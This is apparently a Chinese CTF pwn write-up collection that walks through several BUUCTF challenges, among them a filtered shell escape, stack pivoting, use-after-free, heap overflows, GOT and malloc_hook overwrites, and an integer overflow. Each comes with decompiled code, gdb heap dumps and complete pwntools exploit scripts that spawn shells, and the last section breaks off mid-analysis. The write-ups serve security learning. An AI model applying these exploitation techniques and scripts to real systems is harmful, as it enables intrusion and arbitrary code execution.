char cmd[0x100] = {0};
puts("Welcome to Pwn-Game by TaQini.");
puts("Your ID:");
system("id");
printf("$ ");
gets(cmd);
if( strstr(cmd, "n")
||strstr(cmd, "e")
||strstr(cmd, "p")
||strstr(cmd, "b")
||strstr(cmd, "u")
||strstr(cmd, "s")
||strstr(cmd, "h")
||strstr(cmd, "i")
||strstr(cmd, "f")
||strstr(cmd, "l")
||strstr(cmd, "a")
||strstr(cmd, "g")
||strstr(cmd, "|")
||strstr(cmd, "/")
||strstr(cmd, "$")
||strstr(cmd, "`")
||strstr(cmd, "-")
||strstr(cmd, "<")
||strstr(cmd, ">")
||strstr(cmd, ".")){
exit(0);
}else{
system(cmd);
}
return 0;
}
一个c_shell 并进行了过滤 我们可以通过下列命令进行查找过滤后可以使用的命令(去掉含这些字符的命令)
ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
ctf@a9a029a6e619:~$ ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
dd
kmod
mt
mv
rm
2to3
2to3-2.7
2to3-3.4
[
comm
od
tr
tty
w
wc
x86_64
xxd
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
od 指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来。
mt 命令用来控制磁带驱动器的操作,比如查看状态或查找磁带上的文件或写入磁带控制标记
tr 命令用于转换或删除文件中的字符。
x86_64 当前执行域仅影响uname -m的输出。例如,在AMD64系统上,运行setarch i386程序will.cause程序会将i686而不是x86_64视为计算机类型。 它还允许设置各种个性选项。 缺省程序是/ bin / sh。
这道题看了下wp,正常用od * 读取所有文件 开头的就是flag 这个没问题 有趣的事 x86_64命令 居然可以用来起shell

学到了2333
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf; // [esp+0h] [ebp-18h]
v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, &buf, 32u);
}
4字节溢出 明显需要栈迁移 s在bss段 地址已知 我们通过 leave_ret跳转到bss执行rop
puts还未调用 所以可以用write泄露地址。本来这里我打算自己构造个read读system binsh,但是出现问题就利用了vul_function自己的read 通过read(0, &s, 0x200u);读入 控制ip getshell
from pwn import *
context.log_level='debug'
#p=process('./spwn')
p=remote('node3.buuoj.cn',29689)
elf=ELF('spwn')
libc=ELF('libc/16/x86-libc-2.23.so')
write_plt=elf.sym['write']
write_got=elf.got['write']
read_plt=elf.sym['read']
bss=0x804A300
main=0x80483A0
leave_ret=0x08048408 #: leave ; ret
p.recvuntil('name?')
#gdb.attach(p)
payload1=p32(bss+4)+p32(write_plt)+p32(0x80484C7)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload1)
p.recvuntil('say?')
payload='a'*24+p32(bss)+p32(leave_ret)
p.sendline(payload)
write=u32(p.recv(4))
print hex(write)
base=write-libc.sym['write']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload='a'*24+p32(bss)+p32(0x1553155)
p.sendline("test"+'aaaa'+p32(system)+p32(0x1553155)+p32(binsh))
p.interactive()
emm 以为是利用m_protect改地址权限。原来直接给你shell了
push ebp
mov ebp, esp
call __x86_get_pc_thunk_ax
add eax, 1AA8h
xor edx, edx ; envp
push edx
push 'hs//'
push 'nib/'
mov ebx, esp ; file
push edx
push ebx
mov ecx, esp ; argv
mov eax, 0FFFFFFFFh
sub eax, 0FFFFFFF4h
int 80h ; LINUX - sys_execve
nop
pop ebp
retn
ida分析
int menu()
{
puts(&byte_400E6F);
puts("1.add a girlfriend");
puts("2.dele a girlfriend");
puts("3.show a girlfriend");
puts("4.exit");
return puts("u choice :");
}
通过menu 进行函数逐个分析
unsigned __int64 add()
{
void **v0; // rbx
int nbytes; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
if ( count > 7 )
{
puts("Full!");
exit(-1);
}
if ( !girlfriends )
{
girlfriends = malloc(0x10uLL);
if ( !girlfriends )
{
perror("malloc failed=");
exit(-1);
}
}
*(_QWORD *)(girlfriends + 8LL) = print_girlfriend_name;
puts("Please input the length of her name:");
read(0, buf, 8uLL);
nbytes = atoi(buf);
v0 = (void **)girlfriends;
*v0 = malloc(nbytes);
if ( !*girlfriends )
{
perror("name malloc failed=");
exit(-1);
}
puts("Please tell me her name:");
read(0, (void *)*girlfriends, (unsigned int)nbytes);
puts("what a beautiful name! Thank you on behalf of yds!");
++count;
return __readfsqword(0x28u) ^ v4;
}
首先知道count=7 (0-7) 也就是最多存8个,girlfriends 可以看为一个结构体 存在一个固定参数 girlfriends + 8LL = print_girlfriend_name;另外一个就是 每次输入的name了
所以可以新建一个结构体


这样分析就清晰明了很多
unsigned __int64 add()
{
void **v0; // rbx
int nbytes; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
if ( count > 7 )
{
puts("Full!");
exit(-1);
}
#判断 girlfriends是否被创建 如果没有则创建(每次运行程序只会创建一次)
if ( !girlfriends )
{
girlfriends = (struct_girlfriends *)malloc(0x10uLL);
if ( !girlfriends )
{
perror("malloc failed=");
exit(-1);
}
}
#每次add()操作后都会将print_addr=print_girlfriend_name
girlfriends->print_addr = print_girlfriend_name;
puts("Please input the length of her name:");
read(0, buf, 8uLL);
nbytes = atoi(buf);
#对name_addr创建存储
v0 = &girlfriends->name_addr;
*v0 = malloc(nbytes);
if ( !girlfriends->name_addr )
{
perror("name malloc failed=");
exit(-1);
}
puts("Please tell me her name:");
#读入name_addr的内容
read(0, girlfriends->name_addr, (unsigned int)nbytes);
puts("what a beautiful name! Thank you on behalf of yds!");
++count;
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 dele()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < count )
{
if ( *(&girlfriends + v1) )
{
#free掉当前索引(0)的 name_addr
free((*(&girlfriends + v1))->name_addr);
#free掉当前索引(0)
free(*(&girlfriends + v1));
#存在uaf漏洞 free掉girlfriends[0]之后并没有将该地址置为0
puts("Why are u so cruel!");
}
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
free后没有将该地址置为0,导致如果申请相同大小,注意这里free掉两个堆块 其中第一个只是name_addr的堆块并不是我们girlfriends堆块 ,girlfriends堆块0x10(0x8 size name_addr、0x8 size print_girlfriend_name)

这是add 0x30 size的name后的heap状态 ,可以看到 0x10的是我们的girlfriends 本来应该有两个指针一个放name_addr(因为free了name 所以这里的fd指向为0 如果不为0会指向第二个name堆块地址+0x10处,堆头0x10 size )

此时再bins可以看到free掉的两个堆块地址
如果我们申请大小0x10 会怎么样?
会把bins中的 0x10(0x20处)size的堆块分配出来,也就是我们会重新申请到girlfriends堆块,那我们在add时就能编辑他的内容 包括控制print_addr
add(0x30,'A'*0x30)
dele(0)
add(0x10,p64(0xdeadbeef)+p64(0x1553155))
gdb.attach(p)
可以测试下

发现确实修改了 girlfriends并且。bk (原为print_addr)现在修改为了0x1553155

原在bins中的0x10大小的空闲堆块被申请了回去
题目给出backdoor函数我们修改print_addr为backdoor函数 接着调用print函数就可以成功getshell
from pwn import *
p=process('./ydsneedgirlfriend2')
#p=remote('node3.buuoj.cn',26415)
def add(size,con):
p.recvuntil('choice :')
p.sendline('1')
p.recvuntil('name:')
p.sendline(str(size))
p.recvuntil('name:')
p.sendline(con)
p.recvuntil('yds!')
def dele(idx):
p.recvuntil('choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(idx))
p.recvuntil('cruel!')
def show(idx):
p.recvuntil('choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(idx))
add(0x30,'A'*0x30)
dele(0)
add(0x10,p64(0xdeadbeef)+p64(0x400D86))
#gdb.attach(p)
show(0)
p.interactive()
32位堆溢出
ios@ubuntu:~/APwn/buuctf$ checksec babyfengshui_33c3_2016
[*] '/home/ios/APwn/buuctf/babyfengshui_33c3_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000
ida 分析
void __cdecl __noreturn main()
{
char v0; // [esp+3h] [ebp-15h]
int v1; // [esp+4h] [ebp-14h]
size_t v2; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x14u);
while ( 1 )
{
puts("0: Add a user");
puts("1: Delete a user");
puts("2: Display a user");
puts("3: Update a user description");
puts("4: Exit");
printf("Action: ");
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: ");
__isoc99_scanf("%u%c", &v2, &v0);
add(v2);
}
if ( v1 == 1 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
delete(v2);
}
if ( v1 == 2 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
show(v2);
}
if ( v1 == 3 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
get_context(v2); #update
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( (unsigned __int8)description_addr > 0x31u ) #检查添加了多少个description ,最多0x31个
{
puts("maximum capacity exceeded, bye");
exit(0);
}
}
exit(1);
}
_DWORD *__cdecl add(size_t a1)
{
void *s; // ST24_4
_DWORD *v2; // ST28_4
s = malloc(a1);
memset(s, 0, a1);
#同等于一次 calloc(a1);
v2 = malloc(0x80u);
memset(v2, 0, 0x80u);
#同等于一次 calloc(0x80);
*v2 = s;
ptr[(unsigned __int8)description_addr] = v2;
printf("name: ");
fgets_con((char *)ptr[(unsigned __int8)description_addr] + 4, 0x7C);
get_context(++description_addr - 1);
return v2;
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
alloc 与 malloc 的区别是 calloc 在分配后会自动进行清空
通过add可以知道
struct ptr{
void *description_addr //4 size
char[0x7c] name //0x7c size
}
unsigned int __cdecl sub_8048724(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h]
int v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)description_addr && ptr[a1] )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 ) #此处的判断是为了防止溢出,条件为:判断我们输入的text_len要小于我们最开始输入的description size,否则就exit
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
fgets_con(*(char **)ptr[a1], v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
读入description的text内容,
我们再捋一下;首先输入的是description的size,然后读入的name 大小为0x7c,不存在溢出,接着输入text len,判断输入的text len 是否小于刚才输入的description size,满足则读入 。这里存在溢出,因为 可以绕过if条件,导致text处溢出。
那这里该如何绕过呢?
如果我们add两次
add(0x80,'aaaa',0x80,'bbbb')
add(0x80,'cccc',0x80,'dddd')
此时的堆块应该是什么样子的呢?
| 0x80 | 0x80 | 0x80 | 0x80 |
|---|---|---|---|
| aaaa | bbbb | cccc | dddd |
这里怎么理解 add这个操作呢?
首先 malloc时会在内存中查找是否有空闲堆块(free掉后的)如果没有则会开辟新空间,如果存在则从空闲堆块中取出,正常的两次add ,中间没有任何free 出现空闲堆块,所以 上图为 正常排布。
如果我们free掉1次呢?例如我们free(0)第一个堆块,则此时bins会空闲一个0x100(0x80+0x80)的unsorted bin,此时剩余
| 0x80 | 0x80 |
|---|---|
| cccc | dddd |
如果我们再次add->会先在bin中查找是否有空闲的0x100size的堆块->发现存在 则分配掉(此时空闲就没了),因为0x100时之前分配的 地址也是之前free掉的 所以会出现
| 0x100 | 0x80 | 0x80 |
|---|---|---|
| Test | cccc | dddd |
0x100会在前半部分,接着会malloc(0x80)->发现没有空余就只能开辟新的,会出现
| 0x100 | 0x80 | 0x80 | 0x80 |
|---|---|---|---|
| eeee | cccc | dddd | ffff |
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
如果不理解这个位置可以看一下这个图
gdb-peda$ heap
0x833a000 PREV_INUSE {
prev_size = 0x0,
size = 0x89,
fd = 0x62626262,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x833a088 PREV_INUSE {
prev_size = 0x0,
size = 0x89,
fd = 0x833a008,
bk = 0x61616161,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x833a110 PREV_INUSE {
prev_size = 0x0,
size = 0x20ef1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
此时的ptr[a1] - 4 就是 0x833a088-4(这是完整的一个堆块上一个位置), (char )(v3 + (_DWORD *)ptr[a1])就是我们输入text len后的长度计算出的地址 此时就是0x833a000+0x8(chunk head)+0x80(add的大小) ,简单理解就是我们输入的text len后计算出的地址要小于ptr[a1] - 4 ,
那上面的排布是怎么绕过这个的呢?
add(0x100,'eeee',0x19c,'ffff')
正常情况这个是要报错误的 ,这里可以思考下 此时写入的地址是哪里?0x100处也就是他先要计算0x833a000+0x100 与 最后一个堆块-4的地址比较 ,这个肯定是小于,为什么?中间还隔了2个0x80的chunk ,也就是我们最大可以读0x100+0x100的size才会大于后一个堆块-4,导致我们可以溢出原本0x100的堆块 description 向其他堆块写地址。我们覆盖到ptr[description_addr],也就是
0x833a088 PREV_INUSE {
prev_size = 0x0,
size = 0x89,
fd = 0x833a008,
bk = 0x61616161,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
覆盖掉这个堆块的fd,那printf(ptr[description_addr])时就会打印printf(free_got),接着在update 修改这个堆块,原本应该是修改ptr[description_addr]的内容,此时就会修改free_got处的内容,例如
修改前
gdb-peda$ x/wx 0xf7df7530
0xf7df7530 <__GI___libc_free>: 0xe71fe853
gdb-peda$ x/wx 0x804b010 #free got
0x804b010: 0xf7df7530
gdb-peda$
修改后
gdb-peda$ x/wx 0xf7e29db0
0xf7e29db0 <__libc_system>: 0x8b0cec83
gdb-peda$ x/wx 0x804b010 #free got
0x804b010: 0xf7e29db0
gdb-peda$
修改后为 system ,再次free 实质执行为system[ptr[description_addr]]
我们添加一个新堆块text内容为/bin/sh,就可以执行 system(“/bin/sh”)
from pwn import *
context.log_level='debug'
p=process('./babyfengshui_33c3_2016')
elf=ELF('babyfengshui_33c3_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
free_got=elf.got['free']
def add(name_size,name,text_len,text):
p.recvuntil('Action:')
p.sendline('0')
p.recvuntil('description:')
p.sendline(str(name_size))
p.recvuntil('name:')
p.sendline(name)
p.recvuntil('text length:')
p.sendline(str(text_len))
p.recvuntil('text:')
p.sendline(text)
def dele(idx):
p.recvuntil('Action:')
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(idx))
def show(idx):
p.recvuntil('Action:')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(idx))
def edit(idx,text_len,text):
p.recvuntil('Action:')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(idx))
p.recvuntil('text length:')
p.sendline(str(text_len))
p.recvuntil('text:')
p.sendline(text)
add(0x80,'aaaa',0x80,'bbbb')
add(0x80,'cccc',0x80,'dddd')
add(0x80,'cccc',0x80,'/bin/sh\x00/bin/sh\x00')
dele(0)
#dele(1)
add(0x100,'eeee',0x19c,'f'*0x190+p32(0)+p32(0x89)+p32(free_got))
show(1)
data=p.recvuntil('\xf7')
free=u32(data[-4:])
print hex(free)
system=free-libc.sym['free']+libc.sym['system']
edit(1,4,p32(system))
#gdb.attach(p)
dele(2)
p.interactive()
简单溢出+leak read
from pwn import *
context.log_level='debug'
p=process('level4')
elf=ELF('level4')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
read_got=elf.got['read']
write_plt=elf.sym['write']
main=0x8048470
#gdb.attach(p)
payload='a'*0x8c+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
p.sendline(payload)
read=u32(p.recv(4))
print hex(read)
base=read-libc.sym['read']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload='a'*0x8c+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload)
p.interactive()
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec vn_pwn_simpleHeap
[*] '/home/ios/APwn/buuctf/vn_pwn_simpleHeap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
ios@ubuntu:~/APwn/buuctf$
Full RELRO不能改got表,可以考虑改malloc_hook
题目分析
int add()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
unsigned int v2; // [rsp+Ch] [rbp-4h]
v1 = check_chunk(); //检查是否申请满了
if ( v1 == -1 )
return puts("Full");
printf("size?");
result = reads();
v2 = result;
if ( result > 0 && result <= 0x6F ) // 限定你只能申请到fastbin
{
chunk_list[v1] = malloc(result);
if ( !chunk_list[v1] )
{
puts("Something Wrong!");
exit(-1);
}
size_list[v1] = v2; //输入的size放入size_list
printf("content:");
read(0, (void *)chunk_list[v1], size_list[v1]);// 往申请到的堆块中读取size大小的内容
result = puts("Done!");
}
return result;
}
edit
int edite()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = reads();//读index
if ( v1 < 0 || v1 > 9 || !chunk_list[v1] )
exit(0);
printf("content:");
update(chunk_list[v1], size_list[v1]); //跟进
return puts("Done!");
}
update
unsigned __int64 __fastcall update(__int64 a1, int a2)
{
unsigned __int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
//就是逐字读进去
for ( i = 0; ; ++i )
{
result = i;
if ( (int)i > a2 ) //漏洞在这里 因为从0开始 i=a2时会出现 多读入1字节 (正确写法应该是i>a2-1)
//这也就是off by one 漏洞了
break;
if ( !read(0, (void *)((int)i + a1), 1uLL) )
exit(0);
if ( *(_BYTE *)((int)i + a1) == 10 )
{
result = (int)i + a1;
*(_BYTE *)result = 0;
return result;
}
}
return result;
}
delet
int delet()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = reads();
if ( v1 < 0 || v1 > 9 || !chunk_list[v1] )
exit(0);
free((void *)chunk_list[v1]);
chunk_list[v1] = 0LL;
size_list[v1] = 0;
return puts("Done!");
}
show
int show()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("idx?");
v1 = reads();
if ( v1 < 0 || v1 > 9 || !chunk_list[v1] )
exit(0);
puts((const char *)chunk_list[v1]); //打印chunk_list[v1]
return puts("Done!");
}
这里推荐看一篇文章https://xz.aliyun.com/t/6559 ,基本就是这个思路了
通过堆分配对齐机制,使得第二个堆块鱼第一个堆块共用了堆头部分,接着通过溢出修改堆块大小,构造unsortedbin(方便泄漏libc),接着通过切割unsortedbin 申请到新的堆块且和被溢出的那个堆块在chunk_list中指向同一地址。通过free 新的 造成uaf 就可以控制fd了。修改fd为伪造的chunk地址 ,修改malloc_hook 即可。
首先是泄漏构造
from pwn import *
context.log_level='debug'
p=process('vn_pwn_simpleHeap')
elf=ELF('vn_pwn_simpleHeap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,con):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(size))
p.recvuntil(':')
p.send(con)
def edit(idx,con):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('idx?')
p.sendline(str(idx))
p.recvuntil(':')
p.sendline(con)
def show(idx):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('idx?')
p.sendline(str(idx))
def dele(idx):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('idx?')
p.sendline(str(idx))
add(0x18,'aaaa')#0 这里就是利用对齐机制 方便写入到下面chunk的size
add(0x60,'bbbb')#1
add(0x60,'cccc')#2
add(0x10,'dddd')#3 防止topchunk 合并
edit(0,'a'*0x10+p64(0)+p8(0xe1)) #溢出0修改1的堆头为0xe1
dele(1)
add(0x60,'dddd')#1
show(2)
main_arena=u64(p.recv(6).ljust(8,'\x00'))-88
malloc_hook=main_arena-0x10
libc_base=main_arena-0x10-libc.sym['__malloc_hook']
realloc=libc_base+0x84710
one_gadget=libc_base+0x4527a
fake_chunk=malloc_hook-0x23
print hex(main_arena)
print hex(one_gadget)
print hex(fake_chunk)
edit(0,’a’*0x10+p64(0)+p8(0xe1)) #溢出0修改1的堆头为0xe1

gdb-peda$ p/x 0x71+0x71
$1 = 0xe2
所以写入大小为0xe1
接着delete1后可以可以看到

接着只要申请1次 切割一半0x60 打印就可以泄漏libc了

接着就是 构造uaf,申请剩余的一半chunk 此时2的地址和4指向同一个地方
因为 我们通过溢出修改了1的size导致free时把chunk2也处理了 但是 chunk_list中的2并没有清空(我们没通过正常free)所以如果在申请4 会出现 2 4指向同一个地址 这样 free掉4后就可以修改fastbin中的2的fd执行我们构造的fake_chunk
add(0x60,'aaaa')#4 clean unsorted and ptr->2
dele(4)
edit(2,p64(fake_chunk))
add(0x60,'bbbb')#4
print hex(realloc)
add(0x60,p8(0)*(0x13-0x8)+p64(one_gadget)+p64(realloc+0xd))#5
gdb.attach(p)
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(0x10))
#gdb.attach(p)
p.interactive()
fakechunk的构造 我们的目的是想办法分配到malloc_hook附近

接着计算这个堆块的偏移 这里看你习惯 (能算出来这里就行2333)
gdb-peda$ p/x 0x7fb71a0e1b10-0x7fb71a0e1aed
$2 = 0x23
也就是malloc_hook-0x23的位置
接着就是修改2的fd微fake_chunk地址 导致bin里面的链表后衔接到这里

接着add两次 就分配到了我们构造的fake_chunk中了
接着就可在0x13的偏移后写malloc_hook了,这里如果直接写one_gadget可能会失败 原因是不满足条件
这里也贴一个文章https://blog.csdn.net/Maxmalloc/article/details/102535427
然后我这里贴一张当前gadget的堆栈图

这里调试就是在one_gadget处下断,然后你写到realloc_hook处 ,如何确定偏移?可以通过在此时查看堆栈排布 着NULL处然后计算差多少个0x8 少push 一次 降低0x8,进行调整即可

from pwn import *
context.log_level='debug'
p=process('vn_pwn_simpleHeap')
elf=ELF('vn_pwn_simpleHeap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,con):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(size))
p.recvuntil(':')
p.send(con)
def edit(idx,con):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('idx?')
p.sendline(str(idx))
p.recvuntil(':')
p.sendline(con)
def show(idx):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('idx?')
p.sendline(str(idx))
def dele(idx):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('idx?')
p.sendline(str(idx))
add(0x18,'aaaa')#0
add(0x60,'bbbb')#1
add(0x60,'cccc')#2
add(0x10,'dddd')#3
edit(0,'a'*0x10+p64(0)+p8(0xe1))
dele(1)
add(0x60,'dddd')#1
show(2)
main_arena=u64(p.recv(6).ljust(8,'\x00'))-88
malloc_hook=main_arena-0x10
libc_base=main_arena-0x10-libc.sym['__malloc_hook']
realloc=libc_base+0x84710
one_gadget=libc_base+0x4527a
fake_chunk=malloc_hook-0x23
print hex(main_arena)
print hex(one_gadget)
print hex(fake_chunk)
add(0x60,'aaaa')#4 clean unsorted and ptr->2
dele(4)
edit(2,p64(fake_chunk))
add(0x60,'bbbb')#4
print hex(realloc)
add(0x60,p8(0)*(0x13-0x8)+p64(one_gadget)+p64(realloc+0xd))#5
#gdb.attach(p)
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(0x10))
#gdb.attach(p)
p.interactive()
简单栈溢出 给了shell函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}
问题比较明显 如果传入-1 则 可以绕过 if判断 且 在read时转成了无符号整型 存在整型溢出,可以读如非常大的字符串导致buf溢出 getshell
from pwn import *
#p=process('bjdctf_2020_babystack2')
p=remote('node3.buuoj.cn',29730)
p.recvuntil(':')
p.sendline('-1')
baddoor=0x400726
p.recvuntil('?')
payload='a'*0x18+p64(baddoor)
p.sendline(payload)
p.interactive()
]]>通过分析源码可以知道
unsigned __int64 __fastcall sub_E7F(__int64 a1)
{
printf("Index: ");
result = sub_138C();//read
v2 = result;
if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = sub_138C();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
先读入idx、判断idx是否创建,如果创建则提示输入size。
判断输入的size是否大于0 但是没有和当前idx的size做比较导致,这里的size可控,可以写入比申请chunk时更大的size。
content的输入大小和当前输入的size同大小。
所以这里存在堆溢出。可以覆盖数据到其他堆块。
[*] '/home/ios/APwn/buuctf/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
开启了PIE
需要leak libc_base
因为存在堆溢出 可以通过溢出伪造一个fake_small_chunk,接着申请一个smallchuank,利用fake_small_chunk 包含smallchuank头部以及fd bk ,利用dump函数即可获取main_arena地址
Allocate(0x60)#idx=0
Allocate(0x30)#idx=1
通过Fill溢出chunk0 修改fastbin chunk1 的size为small chunk size
包含chunk head size =0x71 ,chunk大小=0x60
修改前堆块分布
gdb-peda$ heap
0x558240ff2000 FASTBIN {
prev_size = 0x0,
size = 0x71,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x558240ff2070 FASTBIN {
prev_size = 0x0,
size = 0x41, //修改前size(包含chunk head)
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x558240ff20b0 PREV_INUSE {
prev_size = 0x0,
size = 0x20f51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
修改后堆块分布
Fill(0,"a"*0x60+p64(0)+p64(0x71))
gdb-peda$ heap
0x557fb7f39000 FASTBIN {
prev_size = 0x0,
size = 0x71,
fd = 0x6161616161616161,
bk = 0x6161616161616161,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x557fb7f39070 FASTBIN {
prev_size = 0x0,
size = 0x71, //这里通过溢出上面的chunk 修改了此处的size
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x557fb7f390e0 {
prev_size = 0x0,
size = 0x0,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
gdb-peda$
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
接着申请一块small_chunk 并且为了满足check需求,需要在chunk2 内容做处理,因为chunk1 原本大小为0x41 现在我们修改了大小为0x71 所以还缺少0x30 size。chunk2_head包含了0x10剩下的0x20由chunk2_content补充
我们修改chunk2 内容 前0x20为任意数据 ,补充到fake的chunk1的content里,接着伪造一个prev_size 以及 next_size (过fastbin check)
此处next_size 为了构成fastbin循环链表需要满足等于第一次申请的chunk0 size,所以next_size=chunk0_size =0x71
Allocate(0x100)#idx=2
Fill(2,"a"*0x20+p64(0)+p64(0x71))
伪造好堆块将堆块free掉 使fake chunk成为real chunk,
重新分配fake_chunk_size(0x60)
因为fake_chunk占用了chunk2_head(0x10),占用了chunk2_content(0x20)
所以重新分配时会清空这些部分(calloc特性 分配堆块时 会先清空该chunk)
重新分配,接着因为我们的small_chunk(chunk2)的头部被清空了 所以破坏了原本的堆结构,我们需要通过溢出chunk1(0x40),修改回原chunk2 head 以及size
Free(1)
Allocate(0x60)//重新申请
Fill(1,"a"*0x30+p64(0)+p64(0x111)) //溢出chunk1 修改chunk2头部信息
查看当前堆块布局
gdb-peda$ x/40gx 0x55a7bccd2070
0x55a7bccd2070: 0x0000000000000000 0x0000000000000071 //chunk1
